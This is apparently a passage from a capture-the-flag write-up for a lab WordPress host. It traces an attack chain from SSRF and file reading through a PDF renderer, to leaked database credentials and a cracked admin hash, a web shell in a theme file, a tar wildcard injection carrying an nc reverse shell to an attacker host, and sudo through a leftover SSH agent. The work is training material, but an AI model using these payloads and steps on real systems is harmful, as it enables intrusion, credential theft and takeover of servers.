&lt;pre class="highlight html"&gt;&lt;code&gt;&lt;span class="nt"&gt;&amp;lt;html&amp;gt;&lt;/span&gt; &lt;span class="nt"&gt;&amp;lt;iframe&lt;/span&gt; &lt;span class="na"&gt;src=&lt;/span&gt;&lt;span class="s"&gt;"http://attacker-ip/"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&amp;lt;/iframe&amp;gt;&lt;/span&gt; &lt;span class="nt"&gt;&amp;lt;/html&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Listener on the attacker host:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;python3 &lt;span class="nt"&gt;-m&lt;/span&gt; http.server 80
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Result - the attacker's listener received a callback &lt;strong&gt;from the target&lt;/strong&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;machine-ip - - [06/Oct/2026 17:30:54] "GET / HTTP/1.1" 200 -
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;SSRF confirmed: the PDF renderer, running server-side, follows attacker-controlled URLs.&lt;/p&gt;

&lt;h3&gt;
  
  
  3.4 LFI - Reading Local Files
&lt;/h3&gt;

&lt;p&gt;Several &lt;code&gt;file://&lt;/code&gt; payload shapes were tried without success first:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight html"&gt;&lt;code&gt;&lt;span class="nt"&gt;&amp;lt;html&amp;gt;&lt;/span&gt; &lt;span class="nt"&gt;&amp;lt;iframe&lt;/span&gt; &lt;span class="na"&gt;src=&lt;/span&gt;&lt;span class="s"&gt;"file://etc/passwd"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&amp;lt;/iframe&amp;gt;&lt;/span&gt; &lt;span class="nt"&gt;&amp;lt;/html&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;object&lt;/span&gt; &lt;span class="na"&gt;data=&lt;/span&gt;&lt;span class="s"&gt;"file:///etc/passwd"&lt;/span&gt; &lt;span class="na"&gt;type=&lt;/span&gt;&lt;span class="s"&gt;"text/plain"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&amp;lt;/object&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;img&lt;/span&gt; &lt;span class="na"&gt;src=&lt;/span&gt;&lt;span class="s"&gt;"file:///etc/passwd"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;style&amp;gt;body&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="nl"&gt;background-image&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="sx"&gt;url('file:///etc/passwd')&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="nt"&gt;&amp;lt;/style&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;script&amp;gt;&lt;/span&gt;
&lt;span class="kd"&gt;var&lt;/span&gt; &lt;span class="nx"&gt;xhr&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nc"&gt;XMLHttpRequest&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;span class="nx"&gt;xhr&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;open&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;GET&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;file:///etc/passwd&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kc"&gt;false&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="nx"&gt;xhr&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;send&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kc"&gt;null&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="nb"&gt;document&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;write&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;xhr&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;responseText&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;/script&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;None of the direct &lt;code&gt;file://&lt;/code&gt; payloads above actually worked, no matter the tag or the exact slash count - the renderer simply would not resolve a &lt;code&gt;file://&lt;/code&gt; URI placed straight into the injected HTML. The technique that actually worked was indirect: hosting a small PHP redirector on the attacker machine and pointing the injected &lt;code&gt;&amp;lt;iframe&amp;gt;&lt;/code&gt; at &lt;em&gt;that&lt;/em&gt;, letting the PDF renderer follow a same-origin-looking HTTP response that then 302-redirects it to a &lt;code&gt;file://&lt;/code&gt; URI itself.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;// redirect.php (hosted on the attacker machine)
&lt;span class="cp"&gt;&amp;lt;?php&lt;/span&gt;
&lt;span class="nb"&gt;header&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;"Location: file:///etc/passwd"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="cp"&gt;?&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;php &lt;span class="nt"&gt;-S&lt;/span&gt; 0.0.0.0:80
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Injection payload (submitted as the comment field):&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight html"&gt;&lt;code&gt;&lt;span class="nt"&gt;&amp;lt;iframe&lt;/span&gt; &lt;span class="na"&gt;src=&lt;/span&gt;&lt;span class="s"&gt;"http://attacker-ip/redirect.php"&lt;/span&gt; &lt;span class="na"&gt;style=&lt;/span&gt;&lt;span class="s"&gt;"width:1000px;height:5000px;border:none;"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&amp;lt;/iframe&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The target's PDF renderer requested &lt;code&gt;redirect.php&lt;/code&gt; over plain HTTP (confirmed server-side in the PHP dev server log: &lt;code&gt;GET /redirect.php&lt;/code&gt; -&amp;gt; &lt;code&gt;302&lt;/code&gt;), and - unlike a &lt;code&gt;file://&lt;/code&gt; URI written directly into the HTML - &lt;strong&gt;followed that redirect itself&lt;/strong&gt;, landing on &lt;code&gt;file:///etc/passwd&lt;/code&gt; and rendering its full contents inline in the resulting PDF (confirming users &lt;code&gt;kyle&lt;/code&gt;, &lt;code&gt;mysql&lt;/code&gt;, &lt;code&gt;ubuntu&lt;/code&gt;, &lt;code&gt;www-data&lt;/code&gt;, etc. on the box).&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Pivoting the LFI to a higher-value target&lt;/strong&gt; - the same redirector technique, with the &lt;code&gt;Location&lt;/code&gt; header changed to point at WordPress's config file:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;// redirect.php
&lt;span class="cp"&gt;&amp;lt;?php&lt;/span&gt;
&lt;span class="nb"&gt;header&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;"Location: file:///var/www/wordpress/wp-config.php"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="cp"&gt;?&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Re-requesting the same &lt;code&gt;&amp;lt;iframe src="http://attacker-ip/redirect.php"&amp;gt;&lt;/code&gt; payload against the updated redirector disclosed the full &lt;code&gt;wp-config.php&lt;/code&gt;, including:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="nb"&gt;define&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="s1"&gt;'DB_NAME'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;'wordpress'&lt;/span&gt; &lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="nb"&gt;define&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="s1"&gt;'DB_USER'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;'wordpressuser'&lt;/span&gt; &lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="nb"&gt;define&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="s1"&gt;'DB_PASSWORD'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;'coolDataTablesMan'&lt;/span&gt; &lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="nb"&gt;define&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="s1"&gt;'DB_HOST'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;'localhost'&lt;/span&gt; &lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="c1"&gt;// plus AUTH_KEY / SECURE_AUTH_KEY / LOGGED_IN_KEY / NONCE_KEY / *_SALT values&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  4. From Leaked DB Credentials to a WordPress Account
&lt;/h2&gt;

&lt;h3&gt;
  
  
  4.1 Adminer Login
&lt;/h3&gt;

&lt;p&gt;The &lt;code&gt;wordpressuser&lt;/code&gt; / &lt;code&gt;coolDataTablesMan&lt;/code&gt; credentials pulled straight out of &lt;code&gt;wp-config.php&lt;/code&gt; were used against the Adminer panel discovered earlier:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;http://seasurfer.thm/adminer/?username=wordpressuser&amp;amp;db=wordpress
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Login succeeded, exposing the full &lt;code&gt;wordpress&lt;/code&gt; database (12 tables: &lt;code&gt;wp_users&lt;/code&gt;, &lt;code&gt;wp_options&lt;/code&gt;, &lt;code&gt;wp_posts&lt;/code&gt;, etc.).&lt;/p&gt;

&lt;h3&gt;
  
  
  4.2 Dumping wp_users
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight sql"&gt;&lt;code&gt;&lt;span class="k"&gt;SELECT&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="k"&gt;FROM&lt;/span&gt; &lt;span class="n"&gt;wp_users&lt;/span&gt; &lt;span class="k"&gt;LIMIT&lt;/span&gt; &lt;span class="mi"&gt;50&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Returned a single account:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;ID&lt;/th&gt;
&lt;th&gt;user_login&lt;/th&gt;
&lt;th&gt;user_pass&lt;/th&gt;
&lt;th&gt;user_email&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;1&lt;/td&gt;
&lt;td&gt;kyle&lt;/td&gt;
&lt;td&gt;&lt;code&gt;$P$BuCryp52DAdCRIcLrT9vrFNb0vPcyi/&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;a href="mailto:kyle@seasurfer.thm"&gt;kyle@seasurfer.thm&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;h3&gt;
  
  
  4.3 Cracking the Hash
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;john --wordlist=/usr/share/wordlists/rockyou.txt kyle-hash
...
jenny4ever       (?)
1g 0:00:00:08 DONE
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The &lt;code&gt;phpass&lt;/code&gt; hash cracked almost instantly against &lt;code&gt;rockyou.txt&lt;/code&gt; - the password &lt;code&gt;jenny4ever&lt;/code&gt; is a weak, dictionary-adjacent value with no complexity.&lt;/p&gt;

&lt;h3&gt;
  
  
  4.4 WordPress Admin Login
&lt;/h3&gt;

&lt;p&gt;&lt;code&gt;kyle&lt;/code&gt; / &lt;code&gt;jenny4ever&lt;/code&gt; authenticated successfully at &lt;code&gt;http://seasurfer.thm/wp-login.php&lt;/code&gt;, landing on a full WordPress Dashboard (confirmed as an administrator - the account has a custom "Teams" menu item from the team-members plugin and full &lt;code&gt;wp-admin&lt;/code&gt; access).&lt;/p&gt;




&lt;h2&gt;
  
  
  5. Authenticated RCE via WordPress Theme Editor
&lt;/h2&gt;

&lt;p&gt;With admin access to &lt;code&gt;wp-admin&lt;/code&gt;, the built-in &lt;strong&gt;Theme File Editor&lt;/strong&gt; (Appearance -&amp;gt; Theme File Editor) was used to edit the active theme's &lt;code&gt;404.php&lt;/code&gt; template, injecting a PHP web shell / reverse-shell payload, then clicking &lt;strong&gt;Update File&lt;/strong&gt;. WordPress writes the edited PHP directly to disk with no code-execution restriction for admin users.&lt;/p&gt;

&lt;p&gt;Visiting any non-existent path on the site (e.g. &lt;code&gt;http://seasurfer.thm/&amp;lt;random-path&amp;gt;&lt;/code&gt;) triggers Apache/WordPress's 404 handling, which executes the now-malicious &lt;code&gt;404.php&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;A listener was started first:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;penelope listen &lt;span class="nt"&gt;-p&lt;/span&gt; 4444
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Then the crafted URL was requested, and the listener caught a shell:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight console"&gt;&lt;code&gt;&lt;span class="gp"&gt;[+] [New Reverse Shell] =&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;ip-machine-ip machine-ip Linux-x86_64  Session ID &amp;lt;1&amp;gt;
&lt;span class="gp"&gt;www-data@ip-machine-ip:/$&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;whoami&lt;/span&gt;
&lt;span class="go"&gt;www-data
&lt;/span&gt;&lt;span class="gp"&gt;www-data@ip-machine-ip:/$&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;id&lt;/span&gt;
&lt;span class="go"&gt;uid=33(www-data) gid=33(www-data) groups=33(www-data)
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Code execution as &lt;code&gt;www-data&lt;/code&gt; obtained.&lt;/p&gt;




&lt;h2&gt;
  
  
  6. Privilege Escalation: www-data -&amp;gt; kyle (Tar Wildcard Injection)
&lt;/h2&gt;

&lt;p&gt;Exploring the webroot as &lt;code&gt;www-data&lt;/code&gt; surfaced a maintenance script:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;www-data@ip-machine-ip:/var/www/internal/maintenance&lt;span class="nv"&gt;$ &lt;/span&gt;&lt;span class="nb"&gt;cat &lt;/span&gt;backup.sh
&lt;span class="c"&gt;#!/bin/bash&lt;/span&gt;
&lt;span class="c"&gt;# Brandon complained about losing _one_ receipt when we had 5 minutes of downtime,&lt;/span&gt;
&lt;span class="c"&gt;# set this to run every minute now &amp;gt;:D&lt;/span&gt;
&lt;span class="nb"&gt;cd&lt;/span&gt; /var/www/internal/invoices
&lt;span class="nb"&gt;tar&lt;/span&gt; &lt;span class="nt"&gt;-zcf&lt;/span&gt; /home/kyle/backups/invoices.tgz &lt;span class="k"&gt;*&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This script is scheduled to run &lt;strong&gt;every minute&lt;/strong&gt; (by &lt;code&gt;kyle&lt;/code&gt;'s crontab, inferred from the output path &lt;code&gt;/home/kyle/backups/&lt;/code&gt;), and it runs &lt;code&gt;tar&lt;/code&gt; with a bare &lt;code&gt;*&lt;/code&gt; glob inside &lt;code&gt;/var/www/internal/invoices&lt;/code&gt; - a directory the web application (and therefore &lt;code&gt;www-data&lt;/code&gt;) can write to, since generated receipts land there. This is the textbook setup for the classic &lt;strong&gt;tar wildcard injection&lt;/strong&gt; technique: filenames in the target directory that look like &lt;code&gt;tar&lt;/code&gt; command-line flags get expanded by the shell glob and interpreted by &lt;code&gt;tar&lt;/code&gt; as options.&lt;/p&gt;

&lt;p&gt;Exploit:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s1"&gt;'mkfifo /tmp/lhennp; nc attacker-ip 5555 0&amp;lt;/tmp/lhennp | /bin/sh &amp;gt;/tmp/lhennp 2&amp;gt;&amp;amp;1; rm /tmp/lhennp'&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; shell.sh
&lt;span class="nb"&gt;chmod&lt;/span&gt; +x shell.sh

&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;""&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="s2"&gt;"--checkpoint=1"&lt;/span&gt;
&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;""&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="s2"&gt;"--checkpoint-action=exec=sh shell.sh"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;When the cron-triggered &lt;code&gt;tar -zcf ... *&lt;/code&gt; next ran (within one minute), the glob expanded to include the two specially-named files, &lt;code&gt;tar&lt;/code&gt; interpreted them as &lt;code&gt;--checkpoint=1 --checkpoint-action=exec=sh shell.sh&lt;/code&gt;, and executed &lt;code&gt;shell.sh&lt;/code&gt; &lt;strong&gt;as the user owning the cron job (&lt;code&gt;kyle&lt;/code&gt;)&lt;/strong&gt;.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;penelope listen -p 5555
...
[+] [New Reverse Shell] =&amp;gt; ip-machine-ip machine-ip Linux-x86_64  Session ID &amp;lt;1&amp;gt;
kyle@ip-machine-ip:/var/www/internal/invoices$ whoami
kyle
kyle@ip-machine-ip:/var/www/internal/invoices$ id
uid=1000(kyle) gid=1000(kyle) groups=1000(kyle),4(adm),24(cdrom),27(sudo),30(dip),33(www-data),46(plugdev)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Shell upgraded to &lt;code&gt;kyle&lt;/code&gt; (notably in the &lt;code&gt;sudo&lt;/code&gt; group, but not yet usable - see Section 7).&lt;/p&gt;

&lt;h3&gt;
  
  
  User Flag
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;kyle@ip-machine-ip:~$ cat user.txt
THM{REDACTED}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;A personal SSH key was then added to &lt;code&gt;kyle&lt;/code&gt;'s &lt;code&gt;~/.ssh/authorized_keys&lt;/code&gt; for stable, persistent access, and subsequent interaction was done over a normal SSH session:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;ssh &lt;span class="nt"&gt;-i&lt;/span&gt; ~/.ssh/id_ed25519 kyle@seasurfer.thm
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  7. Privilege Escalation: kyle -&amp;gt; root (Leftover SSH Agent + pam_ssh_agent_auth)
&lt;/h2&gt;

&lt;h3&gt;
  
  
  7.1 Dead Ends
&lt;/h3&gt;

&lt;p&gt;A standard SUID sweep found nothing unusual:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;kyle@ip-machine-ip:~&lt;span class="nv"&gt;$ &lt;/span&gt;find / &lt;span class="nt"&gt;-perm&lt;/span&gt; &lt;span class="nt"&gt;-4000&lt;/span&gt; 2&amp;gt;/dev/null
&lt;span class="c"&gt;# only standard system SUID binaries (mount, passwd, sudo, su, pkexec, etc.)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  7.2 Unusual sudo Configuration
&lt;/h3&gt;

&lt;p&gt;&lt;code&gt;kyle&lt;/code&gt; is in the &lt;code&gt;sudo&lt;/code&gt; group, but &lt;code&gt;sudo -l&lt;/code&gt; initially requires authentication that plain password/console login doesn't satisfy. Inspecting the PAM stack explained why:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight conf"&gt;&lt;code&gt;&lt;span class="n"&gt;kyle&lt;/span&gt;@&lt;span class="n"&gt;ip&lt;/span&gt;-&lt;span class="n"&gt;machine&lt;/span&gt;-&lt;span class="n"&gt;ip&lt;/span&gt;:~$ &lt;span class="n"&gt;cat&lt;/span&gt; /&lt;span class="n"&gt;etc&lt;/span&gt;/&lt;span class="n"&gt;pam&lt;/span&gt;.&lt;span class="n"&gt;d&lt;/span&gt;/&lt;span class="n"&gt;sudo&lt;/span&gt;
&lt;span class="c"&gt;#%PAM-1.0
&lt;/span&gt;&lt;span class="n"&gt;auth&lt;/span&gt; &lt;span class="n"&gt;sufficient&lt;/span&gt; &lt;span class="n"&gt;pam_ssh_agent_auth&lt;/span&gt;.&lt;span class="n"&gt;so&lt;/span&gt; &lt;span class="n"&gt;file&lt;/span&gt;=/&lt;span class="n"&gt;etc&lt;/span&gt;/&lt;span class="n"&gt;ssh&lt;/span&gt;/&lt;span class="n"&gt;sudo_authorized_keys&lt;/span&gt;
&lt;span class="n"&gt;session&lt;/span&gt;    &lt;span class="n"&gt;required&lt;/span&gt;   &lt;span class="n"&gt;pam_env&lt;/span&gt;.&lt;span class="n"&gt;so&lt;/span&gt; &lt;span class="n"&gt;readenv&lt;/span&gt;=&lt;span class="m"&gt;1&lt;/span&gt; &lt;span class="n"&gt;user_readenv&lt;/span&gt;=&lt;span class="m"&gt;0&lt;/span&gt;
&lt;span class="n"&gt;session&lt;/span&gt;    &lt;span class="n"&gt;required&lt;/span&gt;   &lt;span class="n"&gt;pam_env&lt;/span&gt;.&lt;span class="n"&gt;so&lt;/span&gt; &lt;span class="n"&gt;readenv&lt;/span&gt;=&lt;span class="m"&gt;1&lt;/span&gt; &lt;span class="n"&gt;envfile&lt;/span&gt;=/&lt;span class="n"&gt;etc&lt;/span&gt;/&lt;span class="n"&gt;default&lt;/span&gt;/&lt;span class="n"&gt;locale&lt;/span&gt; &lt;span class="n"&gt;user_readenv&lt;/span&gt;=&lt;span class="m"&gt;0&lt;/span&gt;
@&lt;span class="n"&gt;include&lt;/span&gt; &lt;span class="n"&gt;common&lt;/span&gt;-&lt;span class="n"&gt;auth&lt;/span&gt;
@&lt;span class="n"&gt;include&lt;/span&gt; &lt;span class="n"&gt;common&lt;/span&gt;-&lt;span class="n"&gt;account&lt;/span&gt;
@&lt;span class="n"&gt;include&lt;/span&gt; &lt;span class="n"&gt;common&lt;/span&gt;-&lt;span class="n"&gt;session&lt;/span&gt;-&lt;span class="n"&gt;noninteractive&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;sudo&lt;/code&gt; on this host is configured to authenticate via &lt;strong&gt;&lt;code&gt;pam_ssh_agent_auth&lt;/code&gt;&lt;/strong&gt;: if the invoking process has &lt;code&gt;SSH_AUTH_SOCK&lt;/code&gt; pointed at an agent holding a private key listed in &lt;code&gt;/etc/ssh/sudo_authorized_keys&lt;/code&gt;, &lt;code&gt;sudo&lt;/code&gt; succeeds with no password at all.&lt;/p&gt;

&lt;h3&gt;
  
  
  7.3 Finding a Usable Agent Socket
&lt;/h3&gt;

&lt;p&gt;A process listing revealed another session had left an SSH agent running and forwarded:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;kyle@ip-machine-ip:~$ ps aux
...
kyle    1059  0.0  0.3  13920  3256 ?        S  bash -c "sudo /root/admincheck; sleep infinity"
...
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;And a corresponding agent socket with loose permissions:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;kyle@ip-machine-ip:~$ ls -lpah /tmp/ssh-I2y4KwPuPD/agent.1145
srwxrwxr-x 1 kyle kyle 0 ... /tmp/ssh-I2y4KwPuPD/agent.1145
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The socket is owned by &lt;code&gt;kyle&lt;/code&gt; and group/other-writable (&lt;code&gt;srwxrwxr-x&lt;/code&gt;), i.e. fully usable by the &lt;code&gt;kyle&lt;/code&gt; shell already obtained. Pointing the current shell's &lt;code&gt;SSH_AUTH_SOCK&lt;/code&gt; at it exposed a loaded key:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;kyle@ip-machine-ip:/tmp/ssh-rOWRscow8o&lt;span class="nv"&gt;$ &lt;/span&gt;&lt;span class="nb"&gt;export &lt;/span&gt;&lt;span class="nv"&gt;SSH_AUTH_SOCK&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;/tmp/ssh-rOWRscow8o/agent.1138
kyle@ip-machine-ip:/tmp/ssh-rOWRscow8o&lt;span class="nv"&gt;$ &lt;/span&gt;ssh-add &lt;span class="nt"&gt;-l&lt;/span&gt;
3072 SHA256:boZASmxRncp8AM+gt1toNuZr9jh1dyatwf9DPZYit88 kyle@seasurfer &lt;span class="o"&gt;(&lt;/span&gt;RSA&lt;span class="o"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  7.4 Escalating
&lt;/h3&gt;

&lt;p&gt;With that agent socket active, &lt;code&gt;sudo&lt;/code&gt; - authenticated via &lt;code&gt;pam_ssh_agent_auth&lt;/code&gt; against &lt;code&gt;/etc/ssh/sudo_authorized_keys&lt;/code&gt; - succeeded outright:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;kyle@ip-machine-ip:/tmp/ssh-rOWRscow8o$ sudo -l
Matching Defaults entries for kyle on seasurfer:
    env_keep+=SSH_AUTH_SOCK, env_reset, timestamp_timeout=420, mail_badpass,
    secure_path=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin
User kyle may run the following commands on seasurfer:
    (ALL : ALL) ALL

kyle@ip-machine-ip:/tmp/ssh-rOWRscow8o$ sudo su
root@seasurfer:/tmp/ssh-rOWRscow8o# cd /root
root@seasurfer:~# ls
admincheck  credits.txt  hidePID.sh  root.txt  snap  SSHtoserver.sh
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Full &lt;code&gt;root&lt;/code&gt; access obtained.&lt;/p&gt;

&lt;h3&gt;
  
  
  Root Flag
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight console"&gt;&lt;code&gt;&lt;span class="gp"&gt;root@seasurfer:~#&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;cat &lt;/span&gt;root.txt
&lt;span class="go"&gt;THM{REDACTED}
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  Key Vulnerabilities
&lt;/h2&gt;

